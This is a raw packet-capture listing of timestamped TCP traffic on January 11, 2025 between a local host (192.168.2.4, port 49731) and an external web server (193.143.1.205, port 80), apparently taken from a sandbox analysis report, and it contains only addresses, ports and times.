Jan 11, 2025 09:20:11.187860966 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.188028097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188080072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188085079 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.188092947 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188146114 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.188186884 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188199043 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188210964 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188277960 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.188504934 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188538074 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188544035 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188580036 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.188698053 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188710928 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188724041 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188734055 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188760042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.188811064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.188842058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188854933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188880920 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188891888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188893080 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.188898087 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.188946962 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.189390898 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189430952 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.189440966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189452887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189495087 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.189588070 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189599991 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189610958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189618111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189685106 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.189812899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189824104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189829111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189835072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189840078 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.189882040 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.190416098 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190427065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190433025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190486908 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.190579891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190592051 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190602064 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190608025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190676928 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.190745115 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190757036 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190768003 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190773010 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190778971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.190850973 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.191400051 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.191411018 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.191417933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.191479921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.191485882 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.191490889 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.191498041 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.191504002 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.191569090 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.191684008 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.194721937 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.194750071 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.218343973 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.218354940 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.218362093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.218410969 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.218422890 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.218462944 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.218482018 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.256521940 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256550074 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256556034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256606102 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256665945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256676912 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256720066 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.256759882 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.256784916 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.256808996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256820917 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256870985 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.256939888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256978035 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.256988049 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.257014990 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.273777962 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.273802042 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.273812056 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.273916960 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.273979902 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.273992062 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.274002075 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.274013996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.274029016 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.274048090 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.295039892 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295052052 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295063019 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295080900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295136929 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295176029 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.295202971 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.295216084 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295227051 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295238018 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295285940 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.295347929 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295509100 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295519114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.295546055 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.311952114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.311975956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.311986923 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312007904 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312057972 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312112093 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312112093 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312112093 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312197924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312208891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312226057 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312237024 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312247038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312248945 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312269926 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312386036 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312427998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312469959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312488079 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312526941 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312530994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312542915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312601089 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312661886 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312705040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312736988 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312743902 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312887907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312942028 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.312956095 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.312968016 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313007116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.313060999 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313097954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313133955 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.313193083 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313247919 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313285112 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.313313007 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313323975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313361883 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.313427925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313440084 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313450098 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313473940 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.313549995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313561916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313591003 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.313601971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313613892 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313623905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.313638926 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.313654900 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.314224005 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314235926 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314246893 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314286947 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.314358950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314369917 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314379930 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314392090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314394951 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.314421892 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.314600945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314611912 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314621925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314631939 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314640045 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.314645052 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.314662933 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.314680099 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.315165997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315176964 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315188885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315232038 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.315305948 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315325975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315335989 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315347910 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315347910 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.315371037 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.315546036 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315557957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315567970 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315578938 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315584898 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.315591097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.315594912 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.315634966 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.316020012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316067934 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316078901 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316112041 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.316257954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316268921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316278934 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316289902 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316306114 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.316319942 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.316431999 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316443920 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316453934 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316463947 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.316464901 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316479921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.316600084 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.316600084 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.317054033 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317065954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317076921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317136049 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317147017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317157030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317163944 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.317168951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317190886 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.317192078 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.317265987 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317277908 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317289114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.317306042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.317332983 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.318485975 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.323333979 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.343406916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343432903 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343445063 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343523979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343535900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343555927 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.343568087 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343579054 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.343580008 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343616009 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343622923 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.343627930 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343661070 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.343799114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343810081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343821049 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343842030 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.343868971 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.343952894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.343966007 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.344022036 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.360528946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360599995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360611916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360671043 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.360713959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360727072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360766888 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.360838890 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360851049 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360862017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360896111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.360899925 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.360929966 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.360954046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.361000061 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.361011028 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.361016989 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.361061096 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.361090899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.361102104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.361148119 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.361298084 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.381798983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.381829977 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.381840944 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.381874084 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.381874084 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.381989956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.382000923 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.382010937 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.382021904 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.382056952 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.382085085 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.398646116 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.398672104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.398682117 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.398750067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.398761034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.398771048 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.398873091 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399030924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399041891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399053097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399111032 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399144888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399158001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399168968 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399187088 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399215937 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399360895 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399415970 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399426937 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399456978 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399481058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399523020 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399600983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399650097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399660110 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399686098 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399784088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399820089 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399842024 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399853945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399890900 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.399924040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399935007 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.399972916 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.400132895 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400176048 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400186062 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400209904 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.400346994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400357962 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400368929 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400382042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.400408983 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.400505066 CET	80	49731	193.143.1.205	192.168.2.4
